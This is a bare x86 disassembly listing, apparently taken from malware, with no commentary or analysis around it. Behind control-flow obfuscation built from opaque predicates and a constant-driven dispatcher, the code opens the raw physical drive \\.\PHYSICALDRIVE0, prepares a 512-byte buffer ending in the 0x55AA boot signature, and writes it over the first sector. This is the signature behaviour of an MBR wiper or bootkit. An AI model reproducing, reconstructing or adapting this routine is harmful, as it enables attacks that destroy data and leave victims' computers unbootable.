mov eax, 0x3da644d7
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x535426c6
mov ecx, 0x9662dafe
jmp 0x10039ffe
mov eax, dword [ebp - 0x2c]
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov byte [eax + 0x1fe], 0x55
mov eax, dword [ebp - 0x20]
mov byte [eax + 0x1ff], 0xaa
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
movups xmm0, xmmword [str..PHYSICALDRIVE0]
movups xmmword [eax], xmm0
mov dword [eax + 0xf], 0x304556
mov eax, dword [ebp - 0x28]
sub esp, 0x1c
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f140]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0xffffffff
sete byte [ebp - 0x2f]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x67e5d51e
mov ecx, 0xff3073b3
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc3e32d5a
mov ecx, 0xd2d6781d
jmp 0x10039ffe
mov eax, 0x391976fc
jmp 0x100374f7
mov eax, 0x6509bc68
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa7e1a842
mov ecx, 0x5997dda5
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9d966937
mov ecx, 0xd6289e90
jmp 0x10039ffe
mov eax, dword [ebp - 0x4c]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x774c3a9
mov ecx, 0x547b058c
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4c3fd525
mov ecx, 0x6d71e265
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7500ebac
mov ecx, 0x3d1dc5d7
jmp 0x10039ffe
mov eax, 0x144e8e32
jmp 0x100374f7
mov eax, 0xc6be2188
jmp 0x100374f7
mov eax, dword [ebp - 0x50]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc6a32864
mov ecx, 0x3c7fec4f
jmp 0x10039ffe
mov eax, 0xe2270047
jmp 0x100374f7
push ebx
push dword [ebp - 0x24]
push 0x200
push dword [ebp - 0x2c]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
sub esp, 0x20
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f120]
movups xmmword [esp + 4], xmm0
mov dword [esp], ecx
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4e1dade3
mov ecx, 0x8adde48b
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x784429eb
mov ecx, 0xa0687a22
jmp 0x10039ffe
mov eax, 0x4da70d94
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x104a83e6
mov ecx, 0x7d27c122
cmove eax, ecx
cmp dword [0x10192a80], 0xa
cmovl eax, ecx
jmp 0x100374f7
cmp eax, 0x30ea9f12
je 0x1003a055
jmp 0x100374f7
cmp eax, 0x13fe186e
jne 0x100374f7
jmp 0x1003a04e
cmp eax, 0xf50cb1dc
jne 0x100374f7
jmp 0x1003a04e
cmp eax, 0xd8dcaa27
jne 0x100374f7
jmp 0x1003a04e
cmp eax, 0xce7390b
jne 0x100374f7
push 0
call fcn.10159be0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret